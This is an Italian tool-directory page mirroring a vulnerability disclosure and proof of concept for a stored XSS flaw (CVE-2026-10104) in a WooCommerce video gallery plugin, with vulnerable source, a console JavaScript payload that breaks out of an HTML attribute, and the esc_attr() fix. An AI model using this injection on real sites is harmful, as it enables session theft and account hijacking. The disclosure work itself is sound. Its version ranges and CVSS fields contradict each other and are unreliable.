Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-10104-POC — Product Video Gallery per WooCommerce <= 1.5.1.8 - Cross-Site Scripting Memorizzato Autenticato Proof of Concept | Kitploit
Strumenti/GitHubGitHub/ravi-lk/cve-2026-10104-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery per WooCommerce <= 1.5.1.8 - Cross-Site Scripting Memorizzato Autenticato Proof of Concept

Vedi Repository
21 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-10104: Cross-Site Scripting Memorizzato in Product Video Gallery per WooCommerce

Riepilogo

DettaglioValore
ID CVECVE-2026-10104
PluginProduct Video Gallery for WooCommerce
FornitoreTechnoSoft Webs (NikHiL Gadhiya)
TipoCross-Site Scripting Memorizzato (XSS)
CWECWE-79 — Neutralizzazione Impropria dell'Input Durante la Generazione di Pagine Web
CVSS 3.14.4 (Medio)
Versioni Affette≤ 1.5.1.6
Versione Corretta1.5.1.9
Richiede AutenticazioneSì — Contributor+ (qualsiasi ruolo che può modificare i prodotti)
Scoperto daRavindu Lakmina Munaweera

Descrizione

Il plugin Product Video Gallery for WooCommerce per WordPress (versioni fino alla 1.5.1.6 inclusa) è vulnerabile a Cross-Site Scripting Memorizzato (XSS) tramite il parametro meta del prodotto custom_thumbnail.

Il metodo save_wc_video_url_field() del plugin sanitizza il parametro POST custom_thumbnail[] utilizzando sanitize_text_field(), che rimuove i tag HTML ma non rimuove i caratteri di doppio apice ("). Sul frontend, il valore memorizzato viene inserito direttamente negli attributi di un tag `` in nickx_get_video_thumbanil_html() senza escaping esc_attr(). Ciò consente a un attaccante autenticato di iniettare attributi arbitrari di gestori di eventi HTML (ad es. onmouseover, onerror) che eseguono JavaScript nel browser di qualsiasi visitatore — inclusi gli utenti non autenticati — che visualizza la pagina del prodotto interessata.


Vettore CVSS 3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Codice Interessato

Sink (Output — Nessun Escaping)

File: public/class-rendering.php
Method: nickx_get_video_thumbanil_html()

root@kitploit:~
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Line 379 — rendered inside  tag on the public frontend
echo '';

Sorgente (Salvataggio — Sanitizzazione Insufficiente)

File: admin/class-video-field.php
Method: save_wc_video_url_field()

root@kitploit:~
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Prova di Concetto

Prerequisiti

  • WordPress con WooCommerce installato
  • Plugin: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • Un prodotto WooCommerce con un URL video YouTube configurato
  • Un account con privilegi di modifica dei prodotti (Shop Manager, Autore, ecc.)

Passi per Riprodurre

  1. Accedi come Shop Manager (attaccante).

  2. Vai a Prodotti → Modifica qualsiasi prodotto con un URL video impostato nel campo "Product Video Url".

  3. Apri gli Strumenti di Sviluppo del browser (F12) → scheda Console.

  4. Incolla ed esegui il seguente JavaScript:

root@kitploit:~
const form = document.getElementById('post');

// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Fai clic su "Aggiorna" per salvare il prodotto.

  2. Apri la pagina del prodotto sul frontend in una finestra di navigazione in incognito/privata (non autenticata).

  3. Passa il mouse sopra la miniatura del video nella galleria del prodotto.

  4. ✅ L'avviso JavaScript viene eseguito, confermando lo XSS Memorizzato.

image image

Output Renderizzato

root@kitploit:~

Il " iniettato chiude l'attributo custom_thumbnail, e onmouseover diventa un nuovo attributo eseguibile sull'elemento ``.


Impatto

  • XSS Memorizzato eseguito sul frontend pubblico per tutti i visitatori, inclusi gli utenti non autenticati
  • Gli attaccanti possono rubare cookie di sessione e dirottare account amministratore
  • Gli attaccanti possono reindirizzare i clienti verso siti di phishing o distribuzione di malware
  • Gli attaccanti possono deturpare le pagine dei prodotti o iniettare cryptominer
  • Richiede solo accesso a livello Contributor per lo sfruttamento

Rimedio

Applica esc_attr() al valore della miniatura personalizzata prima di inserirlo nell'attributo HTML:

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

La stessa correzione dovrebbe essere applicata a tutte le istanze in nickx_get_video_thumbanil_html() dove $custom_thumbnail viene costruito (sia nei percorsi di codice array che non array).


Cronologia della Divulgazione

DataEvento
2026-03-20Vulnerabilità scoperta
2026-03-20Segnalata a Wordfence (CNA)
2026-05-29CVE ID assigned: CVE-2026-10104
2026-07-01Divulgazione pubblica

Crediti

  • Scoperto da: Ravindu Lakmina Munaweera
  • CVE assegnato da: Wordfence (CNA)
  • CVE ORG

Riferimenti

  • CVE-2026-10104
  • WordPress Plugin Page
  • Wordfence Vulnerability Database Entry
  • CWE-79: Cross-site Scripting
  • OWASP XSS Prevention Cheat Sheet

Licenza

Questa segnalazione è rilasciata sotto CC BY 4.0.

Scarica lo strumento
MetricaValore
Vettore d'AttaccoRete
Complessità dell'AttaccoBassa
Privilegi RichiestiBassa
Interazione dell'UtenteNessuna
AmbitoModificato
Impatto sulla RiservatezzaBasso
Impatto sull'IntegritàBasso
Impatto sulla DisponibilitàNessuno